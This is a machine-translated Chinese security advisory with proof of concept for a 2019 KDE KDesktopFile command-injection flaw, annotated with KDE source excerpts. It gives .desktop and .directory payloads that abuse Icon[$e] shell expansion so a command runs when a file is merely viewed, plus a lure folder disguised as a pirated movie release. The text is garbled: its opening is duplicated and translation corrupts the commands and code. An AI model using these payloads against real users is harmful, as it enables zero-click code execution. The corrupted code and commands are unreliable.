``` _ _ ___ _ __ ___ | | ___ | | | _ / _ \'__ / _ \ | | / _ \ | | / / __ / | | (_)|| | (_)| | / ___ \ ___ | _ | \ ___(_)_ | \ ___ / | _ | https://zero.lol 零天4天 标题:KDE 4/5 KDesktopFile命令注入 日期:2019年7月28日 作者:Dominik Penner / zer0pwn 供应商主页:https://kde.org/ 软件链接:https://cgit.kde.org 版本:5.60.0及以下 描述: KDE 4/5容易受到KDesktopFile类中的命令注入漏洞的攻击。当实例化.desktop或.directory文件时,它通过KConfigGroup :: readEntry()函数使用KConfigPrivate :: expandString()来不安全地评估环境变量和shell扩展。使用特制的.desktop文件,只需在文件管理器中下载和查看文件,或者将其链接拖放到文档或桌面中,就可能会影响远程用户。 手头的主要问题是KDE配置规范与XDG(freedesktop)规范不一致。尽管如此,KDE将其配置语法与XDG的配置语法混合在一起,允许动态配置条目(https://userbase.kde.org/KDE_System_Administration/Configuration_Files#Shell_Expansion)。 当我们将这个/ feature /与KDE处理.desktop和.directory文件的方式结合起来时,我们可以强制文件来评估[Desktop Entry]标签中的一些条目。此标记中的某些条目包括“Icon”,“Name”等。漏洞利用依赖于KConfigGroup :: readEntry()函数读取的条目。通常,每当KDE需要显示这些条目时,它们都会被调用。因此,例如,如果我们要浏览文件管理器(dolphin)中的恶意文件,则会调用Icon条目以显示图标。由于我们知道这一点,我们可以使用shell命令代替Icon条目,而该条目又会在查看文件时执行我们的命令。 从理论上讲,如果我们可以控制配置条目并触发它们的读取,我们就可以实现命令注入/...
``` _ _ ___ _ __ ___ | | ___ | | | _ / _ \'__ / _ \ | | / _ \ | | / / __ / | | (_)|| | (_)| | / ___ \ ___ | _ | \ ___(_)_ | \ ___ / | _ | https://zero.lol 零天4天 标题:KDE 4/5 KDesktopFile命令注入 日期:2019年7月28日 作者:Dominik Penner / zer0pwn 供应商主页:https://kde.org/ 软件链接:https://cgit.kde.org 版本:5.60.0及以下 描述: KDE 4/5容易受到KDesktopFile类中的命令注入漏洞的攻击。当实例化.desktop或.directory文件时,它通过KConfigGroup :: readEntry()函数使用KConfigPrivate :: expandString()来不安全地评估环境变量和shell扩展。使用特制的.desktop文件,只需在文件管理器中下载和查看文件,或者将其链接拖放到文档或桌面中,就可能会影响远程用户。 手头的主要问题是KDE配置规范与XDG(freedesktop)规范不一致。尽管如此,KDE将其配置语法与XDG的配置语法混合在一起,允许动态配置条目(https://userbase.kde.org/KDE_System_Administration/Configuration_Files#Shell_Expansion)。 当我们将这个/ feature /与KDE处理.desktop和.directory文件的方式结合起来时,我们可以强制文件来评估[Desktop Entry]标签中的一些条目。此标记中的某些条目包括“Icon”,“Name”等。漏洞利用依赖于KConfigGroup :: readEntry()函数读取的条目。通常,每当KDE需要显示这些条目时,它们都会被调用。因此,例如,如果我们要浏览文件管理器(dolphin)中的恶意文件,则会调用Icon条目以显示图标。由于我们知道这一点,我们可以使用shell命令代替Icon条目,而该条目又会在查看文件时执行我们的命令。 从理论上讲,如果我们可以控制配置条目并触发它们的读取,我们就可以实现命令注入/ RCE。我想必须有更多方法来滥用它,但这是我迄今为止发现的最可靠的方法。 利用/ POC时: 1)payload.desktop [桌面入口] 图标[$ E] = $(回声$ {IFS} 0>〜/桌面/ zero.lol&) 2)。目录 [桌面入口] 类型=目录 图标[$ E] = $(回声$ {IFS} 0>〜/桌面/ zero.lol&) 现在,只要在Dolphin或桌面上(或在浏览SMB共享w / smb4k时)查看文件,您的命令就会执行。命令处理器似乎不喜欢空格,所以只需使用$ IFS就可以了。对于.desktop有效负载,它就像让远程用户在其本地文件系统上查看该文件一样简单。.directory有效负载还有另一部分。.directory文件用于设置目录本身的配置条目。这意味着我们可以设置父目录的Icon,并在有人查看该文件夹时触发它。这需要嵌套目录。 例: $ mkdir Hackers.1995.720p.BrRip.x264.YIFY $ cd Hackers.1995.720p.BrRip.x264.YIFY $ mkdir YIFY; cd YIFY $ vi .directory [桌面入口] 类型=目录 图标[$ E] = $(回声$ {IFS} 0>〜/桌面/ zer0.lol&) 现在每当有人打开“Hackers.1995.720p.BrRip.x264.YIFY”目录时,YIFY目录将尝试从.directory文件加载Icon,执行我们的命令。 代码: ---------------- kdesktopfile.cpp ------------------------------- ---------------------- 182 QString KDesktopFile :: readIcon()const 183 { 184 Q_D(const KDesktopFile); 185 return d-> desktopGroup.readEntry(“Icon”,QString()); <--------------------- 186} -------------------------------------------------- ----------------------------------- ----------------- kconfiggroup.cpp ------------------------------ ---------------------- 679 QString KConfigGroup :: readEntry(const char * key,const QString&aDefault)const 680 { 681 Q_ASSERT_X(isValid(),“KConfigGroup :: readEntry”,“访问无效组”); 682 683 bool expand = false; 684 685 //从条目图中读取值 686 QString aValue = config() - > d_func() - > lookupData(d-> fullName(),key,KEntryMap :: SearchLocalized, 687&expand); 688 if(aValue.isNull()){ 689 aValue = aDefault; 690} 691 692 if(expand){ 693返回KConfigPrivate :: expandString(aValue); <------------------------- 694} 695 696返回aValue; 697} -------------------------------------------------- ----------------------------------- ----------------- kconfig.cpp ------------------------------ --------------------------- 178 QString KConfigPrivate :: expandString(const QString&value) 179 { 180 QString aValue = value; 181 182 //检查环境变量并进行必要的翻译 183 int nDollarPos = aValue.indexOf(QLatin1Char('$')); 184 while(nDollarPos!= -1 && nDollarPos + 1 <aValue.length()){ 185 //至少有一个$ 186 if(aValue [nDollarPos + 1] == QLatin1Char('(')){ 187 int nEndPos = nDollarPos + 1; 188 //下一个字符不是$ 189 while((nEndPos <= aValue.length())&&(aValue [nEndPos]!= QLatin1Char(')'))){ 190 nEndPos ++; 191} 192 nEndPos ++; 193 QString cmd = aValue.mid(nDollarPos + 2,nEndPos - nDollarPos - 3); 194 195 QString结果; 196 197 // FIXME:wince没有管道 198 #ifndef _WIN32_WCE 199 FILE * fs = popen(QFile :: encodeName(cmd).data(),“r”); <----------- 200 if(fs){ 201 QTextStream ts(fs,QIODevice :: ReadOnly); 202 result = ts.readAll()。trimmed(); 203 pclose(fs); 204} 205 #endif -------------------------------------------------- ----------------------------------- 修复: 禁用[桌面条目]配置的shell扩展/动态条目。 ```